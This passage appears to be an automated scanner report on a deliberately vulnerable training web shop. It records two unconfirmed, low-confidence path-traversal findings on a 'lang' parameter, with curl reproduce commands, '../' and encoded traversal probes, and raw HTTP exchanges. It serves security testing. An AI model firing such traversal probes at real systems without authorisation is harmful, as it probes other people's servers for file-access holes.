href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/catalog.php query string · lang unconfirmed · low confidence BV-037 info

location: GET https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1
input: lang in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

lang reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

lang looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=skst0vio8/../1&view=1&redirect=1&returnTo=1&return_url=1'

GET /catalog.php?data=1&src=1&dir=1&lang=skst0vio8/../1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1…

request

GET /catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:15 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1…

request

GET /catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:15 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

normalised HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=skst0vio8/../1&view=1…

request

GET /catalog.php?data=1&src=1&dir=1&lang=skst0vio8/../1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:15 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

double_encoded HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=skst0vio8/%2e%2e/1&view=1…

request

GET /catalog.php?data=1&src=1&dir=1&lang=skst0vio8/%2e%2e/1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:15 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

control HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=skst0vio8/1&view=1…

request

GET /catalog.php?data=1&src=1&dir=1&lang=skst0vio8/1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:15 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

listing HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=&view=1&redirect=1…

request

GET /catalog.php?data=1&src=1&dir=1&lang=&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:16 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/sekumart.sekuripy.hr/login.php query string · lang unconfirmed · low confidence BV-038 info

location: GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1
input: lang in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

lang reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

lang looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1… bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=skst0vio8/../1&view=1&redirect=1&returnTo=1&return_url=1'

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=skst0vio8/../1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:01 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

baseline again, to locate per-request churn HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:01 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

normalised HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=skst0v…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=skst0vio8/../1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:01 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

double_encoded HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=skst0v…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=skst0vio8/%2e%2e/1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:01 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

control HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=skst0v…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=skst0vio8/1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:01 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

listing HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=&view=…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:01 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' 